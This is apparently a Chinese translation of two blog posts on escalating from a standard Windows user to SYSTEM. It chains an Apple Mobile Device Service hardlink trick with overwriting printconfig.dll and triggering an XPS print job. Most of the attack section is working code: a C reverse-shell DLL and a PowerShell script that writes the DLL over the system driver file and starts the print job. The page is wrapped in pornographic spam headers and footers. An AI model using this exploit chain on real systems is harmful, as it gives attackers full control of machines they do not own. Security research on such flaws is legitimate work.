成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

通過任意文件覆蓋漏洞直接獲取系統操作的最高權限

安全 漏洞
任意文件覆蓋一直被視為關鍵漏洞,因為它可能導致權限升級。

任意文件覆蓋一直被視為關鍵漏洞,因為它可能導致權限升級。在Windows系統中,這通常意味著模擬管理員或系統運行。

[[345613]]

如果標準用戶能夠通過某種“利用”來更改特殊受保護文件的權限(通過授予他修改甚至更好的完全控制權限),則他可以更改目標文件的內容,以便將惡意代碼注入到服務可執行文件、腳本、dll等。

但是隨著時間的推移,“利用后”攻擊面受到限制,例如,系統文件受特殊的“受信任的安裝程序”組保護,甚至系統/管理員也只能對其進行讀取和執行訪問。

不過最近,攻擊者通過成功更改System32中“license.rtf”文件的權限之后,可能使用Forshaw的“ Diaghub Collector利用”,因為該文件不受受信任的安裝程序的保護。

第三方軟件始終是一個選項,因為通常它們不受“受信任的安裝程序”的保護。攻擊者應枚舉所有已安裝的軟件和可執行文件,識別哪些運行在高語境(high context)中,以及如何配置它們。一個典型的例子是服務可執行文件,它以SYSTEM身份運行,并且可由標準用戶啟動。在我的惠普筆記本電腦上,我擁有滿足所有要求的“惠普軟件框架服務(HP Software Framework)”,HP Software Framework提供了一套通用的軟件接口,可以集中并簡化對硬件、BIOS 和 HP 設備驅動程序的訪問。

另一個不錯的選擇是“ Dropbox Updater Service”,它以每小時一次的系統權限(在標準安裝中)作為預定任務運行。

但是如果攻擊者只想依靠標準的Windows操作系統軟件呢?它變得越來越困難與微軟補丁,但顯然有一些可能性。例如,還記得“ALPC任務調度程序”漏洞嗎?

最終結果是覆蓋“ Printconfig.dll”,其中SYSTEM擁有完全控制權,啟動XPS打印作業(將加載修改后的Printconfig.dll),并在SYSTEM用戶上下文中執行代碼。結果,它仍然可以使用。

接下來,我將向你展示如何使用相對簡單的多合一Powershell腳本從printconfig.dll中“濫用”。

“Microsoft XPS Document Writer”是一種特殊的打印機驅動程序:“Microsoft XPS文檔編寫器(MXDW)是一種打印到文件的驅動程序,該驅動程序使Windows應用程序可以從帶有Service Pack 2(SP2)的Windows XP開始的Windows版本上創建XML Paper Specification(XPS)文檔文件。”

這個驅動程序位于不同的位置(在本例中為Win 2019服務器):

有趣的是第一個文件,因為它是最新的文件,并且與我們的體系結構(X64)相匹配。

因此,如果我們能夠完全控制此文件,則可以使用修改后的dll覆蓋該文件,啟動XPS打印作業,該作業將加載dll并以SYSTEM用戶身份執行代碼(例如,反向shell)。

出于保密原因,我不會告訴你構建和編譯DLL,而是向你展示代碼的相關部分:

  1. #include "stdafx.h" 
  2. #include   
  3. #include #define _WINSOCK_DEPRECATED_NO_WARNINGS 
  4.   
  5. using namespace std; 
  6.   
  7. void Reverse() 
  8. WSADATA wsaData; 
  9. SOCKET s1; 
  10. struct sockaddr_in hax; 
  11.   
  12. STARTUPINFO sui; 
  13. PROCESS_INFORMATION pi; 
  14. launched = TRUE
  15. WSAStartup(MAKEWORD(2, 2), &wsaData); 
  16. s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL
  17. (unsigned int)NULL, (unsigned int)NULL); 
  18.   
  19. hax.sin_family = AF_INET; 
  20. hax.sin_port = htons(4444); 
  21. hax.sin_addr.s_addr = inet_addr("127.0.0.1"); 
  22.   
  23. WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULLNULLNULLNULL); 
  24.   
  25. memset(&sui, 0, sizeof(sui)); 
  26. sui.cb = sizeof(sui); 
  27. sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); 
  28. sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1; 
  29.   
  30. TCHAR commandLine[256] = L"cmd.exe"
  31. CreateProcess(NULL, commandLine, NULLNULLTRUE
  32.     0, NULLNULL, &sui, &pi); 
  33. extern "C" __declspec (dllexport) bool __cdecl DllMain(_In_ HINSTANCE hinstDLL, 
  34.     _In_ DWORD     fdwReason, 
  35.     _In_ LPVOID    lpvReserved 
  36.                      ) 
  37.   
  38.      
  39.     switch (fdwReason) 
  40.     { 
  41.     case DLL_PROCESS_ATTACH: 
  42.          
  43.         Reverse(); 
  44.          
  45.         break; 
  46.     case DLL_THREAD_ATTACH: 
  47.     case DLL_THREAD_DETACH: 
  48.     case DLL_PROCESS_DETACH: 
  49.         break; 
  50.     } 
  51.      
  52.      
  53.      
  54.        
  55.     return TRUE

加載庫時總是調用DLLMain(),它將在本地主機端口4444上執行我們的反向shell。

我們只需要編譯DLL并將其轉換為b64中的二進制文件,因為我們會將其插入到ps1腳本中:

  1. $FilePath="c:\temp\my.dll" 
  2. $ByteArray = [System.IO.File]::ReadAllBytes($FilePath) 
  3. $Base64String = [System.Convert]::ToBase64String($ByteArray) 
  4. $Base64String | Set-Content -force "out.64" 

現在我們的腳本是“xps.ps1”,必須包含一些c#代碼,因為它更容易調用和操作API函數:

  1. $mycode = @" 
  2. using System; 
  3. using System.ComponentModel; 
  4. using System.IO; 
  5. using System.Runtime.InteropServices; 
  6. namespace XPS 
  7. public class XpsPrint 
  8. public static void StartPrintJob() 
  9. PrintJob("Microsoft XPS Document Writer""myjob"); 
  10. public static void PrintJob(string printerName, string jobName) 
  11. IntPtr completionEvent = CreateEvent(IntPtr.Zero, truefalsenull); 
  12. if (completionEvent == IntPtr.Zero) 
  13. throw new Win32Exception(); 
  14. try 
  15. IXpsPrintJob job; 
  16. IXpsPrintJobStream jobStream; 
  17. StartJob(printerName, jobName, completionEvent, out job, out jobStream); 
  18. jobStream.Close(); 
  19.   
  20.   
  21. finally 
  22. if (completionEvent != IntPtr.Zero) 
  23. CloseHandle(completionEvent); 
  24. private static void StartJob(string printerName, string jobName, IntPtr completionEvent, out IXpsPrintJob job, out IXpsPrintJobStream jobStream) 
  25. int result = StartXpsPrintJob(printerName, jobName, null, IntPtr.Zero, completionEvent, 
  26. null, 0, out job, out jobStream, IntPtr.Zero); 
  27.   
  28. [DllImport("XpsPrint.dll", EntryPoint = "StartXpsPrintJob")] 
  29. private static extern int StartXpsPrintJob( 
  30. [MarshalAs(UnmanagedType.LPWStr)] String printerName, 
  31. [MarshalAs(UnmanagedType.LPWStr)] String jobName, 
  32. [MarshalAs(UnmanagedType.LPWStr)] String outputFileName, 
  33. IntPtr progressEvent,  
  34. IntPtr completionEvent,  
  35. [MarshalAs(UnmanagedType.LPArray)] byte[] printablePagesOn, 
  36. UInt32 printablePagesOnCount, 
  37. out IXpsPrintJob xpsPrintJob, 
  38. out IXpsPrintJobStream documentStream, 
  39. IntPtr printTicketStream);  
  40. [DllImport("Kernel32.dll", SetLastError = true)] 
  41. private static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName); 
  42. [DllImport("Kernel32.dll", SetLastError = true, ExactSpelling = true)] 
  43. private static extern WAIT_RESULT WaitForSingleObject(IntPtr handle, Int32 milliseconds); 
  44. [DllImport("Kernel32.dll", SetLastError = true)] 
  45. [return: MarshalAs(UnmanagedType.Bool)] 
  46. private static extern bool CloseHandle(IntPtr hObject); 
  47. [Guid("0C733A30-2A1C-11CE-ADE5-00AA0044773D")]  
  48. [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 
  49. interface IXpsPrintJobStream 
  50. void Read([MarshalAs(UnmanagedType.LPArray)] byte[] pv, uint cb, out uint pcbRead); 
  51. void Write([MarshalAs(UnmanagedType.LPArray)] byte[] pv, uint cb, out uint pcbWritten); 
  52. void Close(); 
  53. [Guid("5ab89b06-8194-425f-ab3b-d7a96e350161")] 
  54. [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 
  55. interface IXpsPrintJob 
  56. void Cancel(); 
  57. void GetJobStatus(out XPS_JOB_STATUS jobStatus); 
  58. [StructLayout(LayoutKind.Sequential)] 
  59. struct XPS_JOB_STATUS 
  60. public UInt32 jobId; 
  61. public Int32 currentDocument; 
  62. public Int32 currentPage; 
  63. public Int32 currentPageTotal; 
  64. public XPS_JOB_COMPLETION completion; 
  65. public Int32 jobStatus;  
  66. }; 
  67. enum XPS_JOB_COMPLETION 
  68. XPS_JOB_IN_PROGRESS = 0, 
  69. XPS_JOB_COMPLETED = 1, 
  70. XPS_JOB_CANCELLED = 2, 
  71. XPS_JOB_FAILED = 3 
  72. enum WAIT_RESULT 
  73. WAIT_OBJECT_0 = 0, 
  74. WAIT_ABANDONED = 0x80, 
  75. WAIT_TIMEOUT = 0x102, 
  76. WAIT_FAILED = -1  
  77.   
  78. "@ 
  79. ## Change this according to your system: 
  80. $dllb64="..." 
  81. $targetfile="C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_e4ff50d4d5f8b2aa\Amd64\printconfig.dll" 
  82. $PEBytes = [System.Convert]::FromBase64String($dllb64) 
  83. $PEBytes | Set-Content -force $targetfile -Encoding Byte 
  84. add-type -typeDefinition $mycode 
  85. [XPS.XpsPrint]::StartPrintJob() 
  86. echo "[+] done!" 
  87. exit 

在$ddlB64變量中,我們將分配之前保存在“out.64”中的dll的b64字符串。

現在,出于測試目的,以SYSTEM用戶身份,只需更改“ printconfig.dll”的權限。請記住,要進行備份!

讓我們繼續:

是的,它絕對有效!通過以沒有特殊權限的標準用戶身份啟動XPS打印作業,獲得了SYSTEM用戶的反向shell!

為了擺脫文件對話框,我們可以在StartJob()方法中指定一個文件名:

  1. private static void StartJob(string printerName, string jobName, IntPtr completionEvent, out IXpsPrintJob job, out IXpsPrintJobStream jobStream) 
  2. int result = StartXpsPrintJob(printerName, jobName, 
  3. "c:\\windows\\temp\\test.txt", IntPtr.Zero, completionEvent, 
  4. null, 0, out job, out jobStream, IntPtr.Zero); 
  5.   

但你猜怎么著?你將模擬“NT AUTHORITY\LOCAL SERVICE”!

在本例中,將調用允許后臺打印XPS文件的驅動程序“printfilterpipelinesvc.exe”,并以“本地服務”帳戶而非“系統”帳戶運行該驅動程序!

但是攻擊者怎么才能覆蓋任意文件?

如上所述,我將通過一個真實的示例向你展示如何利用“Printconfig” dl。但是。這個iPhone有什么關系呢?

為此,我特意尋找了可以通過硬鏈接利用的特權文件操作。

通過努力,我們發現了目錄c:\programdata\apple\lockdown。

iTunes軟件安裝的“蘋果移動設備服務”使用此文件夾,該服務以“本地系統”特權運行,負責處理通過USB端口與蘋果設備(iPhone,iPad等)的通信。

如下所示,標準用戶可以在以下目錄中添加文件:

每次插入新設備時,驅動程序都會以

現在,插入我們的蘋果設備。將生成“配對證書”,并且在此文件上設置的權限如下:

如你所見,用戶僅對此文件具有讀取權限。

現在你會發現一個有趣的事情,如果你拔下設備的插頭,然后再次插入,則會發生一些神奇的事情,從而授予用戶對該文件的完全控制權限:

我們使用Sysinternals的“procmon”工具觀察到這種有趣的行為:

SetSecurity調用是從提升的上下文(SYSTEM)發出的,它將授予用戶對資源的完全控制權。所以這個會不會成為一個漏洞,被攻擊者利用呢?

答案是肯定的,只需輸入 “NATIVE HARDLINKS“即可。

標準的Windows用戶不需要特殊的權限即可創建此類鏈接,我們可以使用Forshaw的實用程序來管理它們。

那么,為什么不在此文件上設置“本機硬鏈接(“native hardlink”)”,并讓其指向只有SYSTEM才能完全控制的資源呢?

這是我們要做的,將我們的

現在,我們只需要插入我們的蘋果設備即可更改目標文件的權限:

是的,它起作用了!

至此,我們已經完成了所有的工作,只需要將目標文件更改為printconfig.dll,然后用我們自己的dll覆蓋它,開始XPS打印作業,最后享受SYSTEM shell。你可以觀看POC的視頻,鏈接請點擊這

邊界條件

1. 你需要在Windows計算機上具有用戶shel程序訪問權限;

2. iTunes和Apple Mobile Device Service應該一起安裝,為此我們使用最新的iTunes版本(在撰寫本文時為12.10.3)對其進行了測試。

3. 出于測試目的,你需要對計算機進行物理訪問才能插入蘋果設備,但這并不是必須的。因為你可以刪除* .plist文件,創建指向目標dll的相同* .plist文件的硬鏈接,然后等待設備插件。我們觀察到有時即使沒有配對設備也會設置完全權限,但是我們需要對其進行更多研究。

注意

在Windows未來發布的版本在,通用硬鏈接濫用中將不再起作用。因為,在最新的“Insider”預覽中,MS添加了一些補充檢查,因此,如果你無權訪問目標文件,則在嘗試創建硬鏈接時會收到拒絕訪問錯誤。

微軟在每一個新系統正式發行之前,都會向開發者提供預覽版系統,以便更快的找到 Bug 并解決。而 Windows Insider 的開放注冊讓更多的人加入到 Windows 10的改進和完善的工作中來,讓Windows 更加適應消費者的需求。

本文翻譯自:https://decoder.cloud/2019/11/13/from-arbitrary-file-overwrite-to-system/ https://decoder.cloud/2019/12/12/from-iphone-to-nt-authoritysystem/如若轉載,請注明原文地址。

 

責任編輯:姜華 來源: 嘶吼網
相關推薦

2013-10-31 13:19:06

2011-12-26 10:17:12

2009-07-06 17:34:20

PEARMail函數php

2013-08-29 15:24:36

2011-04-01 09:43:50

Windows 7權限

2021-07-22 16:09:02

漏洞WindowsLinux

2015-03-09 10:22:23

2014-11-28 15:29:52

2009-07-14 14:37:11

Flex

2011-12-13 11:08:00

2013-09-02 09:19:19

2013-10-24 11:03:07

Windows 8.1Windows 8System權限

2019-01-02 09:16:27

2015-03-06 15:31:01

2023-07-31 08:02:28

2025-03-28 10:31:17

2022-02-16 11:51:16

McAfee漏洞Windows

2010-04-16 17:49:28

Unix操作系統

2013-07-11 09:51:15

2023-09-18 23:28:44

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 国产91在线播放 | 日韩高清一区 | 亚洲影音先锋 | 久久欧美精品 | 久久久国产视频 | 特黄一级 | 久久久久高清 | 欧美成年网站 | 欧美一级电影免费观看 | 亚洲精品在线免费播放 | 久久久久资源 | 一级毛片免费完整视频 | 国产成人午夜电影网 | 欧美一区二区三区国产精品 | 欧美成人精品 | 欧美精品在欧美一区二区 | 国产精品美女久久久久久久网站 | 欧美在线亚洲 | 国精日本亚洲欧州国产中文久久 | 国产综合久久 | 一区二区三区四区五区在线视频 | 精品欧美一区二区三区久久久 | 欧美啪啪网站 | 久久三级av | 国产精品a久久久久 | 日韩毛片中文字幕 | 2018中文字幕第一页 | 国产精品毛片无码 | 国产福利精品一区 | 情侣av| 亚洲天堂av网 | 国产区精品在线观看 | 第一福利社区1024 | 久久高清精品 | 亚洲 欧美 日韩 精品 | 久久精品播放 | 麻豆精品国产免费 | 丝袜美腿一区二区三区动态图 | 日韩成人免费视频 | 亚洲一二三区精品 | 久久久久国产精品免费免费搜索 |